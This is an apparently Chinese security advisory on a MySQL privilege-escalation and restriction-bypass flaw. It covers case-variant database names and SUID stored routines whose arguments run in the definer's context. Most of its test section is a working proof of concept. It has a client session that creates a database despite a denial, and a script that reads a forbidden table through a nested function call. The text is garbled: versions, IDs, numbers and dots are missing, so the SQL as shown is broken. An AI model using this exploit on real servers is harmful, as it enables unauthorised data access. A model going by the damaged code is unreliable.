MySQL权限提升及安全限制绕过漏洞

受影响系统

MySQL AB MySQL <=

描述

BUGTRAQ ID:

MySQL是一款使用非常广泛的开放源代码关系数据库系统拥有各种平台的运行版本

在MySQL上拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名

此外由于在错误的安全环境中计算了suid例程的参数攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句成功攻击要求用户对所存储例程拥有EXECUTE权限

测试方法

【警 告以下程序(方法)可能带有攻击性仅供安全研究与教学之用使用者风险自负！】

创建数据库

$ mysql h mymysqlserver u sample p A sample

Enter password:

Welcome to the MySQL monitor Commands end with ; or \g

Your MySQL connection id is to server version: standard

mysql> create database another;

ERROR : Access denied for user sample@% to database another

mysql> create database sAmple;

Query OK row affected ( sec)

权限提升

disable_warnings

drop database if exists mysqltest;

drop database if exists mysqltest;

drop function if exists f_suid;

enable_warnings

# Prepare playground

create database mysqltest;

create database mysqltest;

create user malory@localhost;

grant all privileges on mysqltest* to malory@localhost;

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return ;

grant execute on function testf_suid to malory@localhost;

use mysqltest;

# Create table in which malory@localhost will be interested but to which

# he wont have any access

create table t (i int);

connect (malcon localhost malorymysqltest);

# Correct malory@localhost dont have access to mysqltestt

error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltestt;

# Create function which will allow to exploit security hole

delimiter |;

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user();

set @b:= (select count(*) from mysqltestt);

return ;

end|

delimiter ;|

# Again correct

error ER_TABLEACCESS_DENIED_ERROR

select f_evil();

select @a @b;

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer so malory@locahost gets all info that he wants

select testf_suid(f_evil());

select @a @b;

connection default;

drop user malory@localhost;

drop database mysqltest;

drop database mysqltest;

建议

厂商补丁MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题请到厂商的主页下载